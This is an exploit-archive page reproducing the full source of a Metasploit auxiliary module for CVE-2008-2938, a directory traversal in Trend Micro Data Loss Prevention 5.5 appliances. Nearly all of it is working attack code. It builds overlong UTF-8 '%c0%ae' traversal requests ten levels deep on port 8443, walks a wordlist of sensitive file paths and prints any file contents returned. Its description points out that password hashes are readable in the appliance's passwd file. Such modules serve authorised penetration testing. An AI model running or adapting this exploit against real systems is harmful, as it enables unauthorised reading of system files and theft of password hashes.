Exploit for TrendMicro Data Loss Prevention 5.5 Directory Traversal CVE-2008-2938

## https://sploitus.com/exploit?id=PACKETSTORM:180868
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',  
'Description' => %q{  
This module tests whether a directory traversal vulnerability is present  
in Trend Micro DLP (Data Loss Prevention) Appliance v5.5 build <= 1294.  
The vulnerability appears to be actually caused by the Tomcat UTF-8  
bug which is implemented in module tomcat_utf8_traversal CVE 2008-2938.  
This module simply tests for the same bug with Trend Micro specific settings.  
Note that in the Trend Micro appliance, /etc/shadow is not used and therefore  
password hashes are stored and anonymously accessible in the passwd file.  
},  
'References' => [  
[ 'URL', 'http://tomcat.apache.org/' ],  
[ 'OSVDB', '47464' ],  
[ 'OSVDB', '73447' ],  
[ 'CVE', '2008-2938' ],  
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],  
[ 'EDB', '17388' ],  
[ 'BID', '48225' ],  
],  
'Author' => [ 'aushack' ],  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Jan 9 2009'  
)  
  
register_options(  
[  
Opt::RPORT(8443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptPath.new('SENSITIVE_FILES', [  
true, 'File containing sensitive files, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files.txt')  
]),  
]  
)  
end  
  
def extract_words(wordfile)  
return [] unless wordfile && File.readable?(wordfile)  
  
begin  
File.readlines(wordfile, chomp: true)  
rescue ::StandardError => e  
elog(e)  
[]  
end  
end  
  
def find_files(files)  
traversal = '/%c0%ae%c0%ae'  
  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => '/dsc/' + traversal * 10 + files # We know depth is 10  
}, 25  
)  
if (res && (res.code == 200))  
print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n#{res.body}")  
@files_found << files  
elsif (res && res.code)  
vprint_status("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}")  
end  
end  
  
def run_host(_ip)  
@files_found = []  
  
begin  
print_status("Attempting to connect to #{rhost}:#{rport}")  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => '/dsc/'  
}, 25  
)  
  
if res  
extract_words(datastore['SENSITIVE_FILES']).each do |files|  
find_files(files) unless files.empty?  
end  
end  
  
if !@files_found.empty?  
print_good('File(s) found:')  
  
@files_found.each do |f|  
print_good(f)  
end  
else  
print_error('No File(s) found')  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end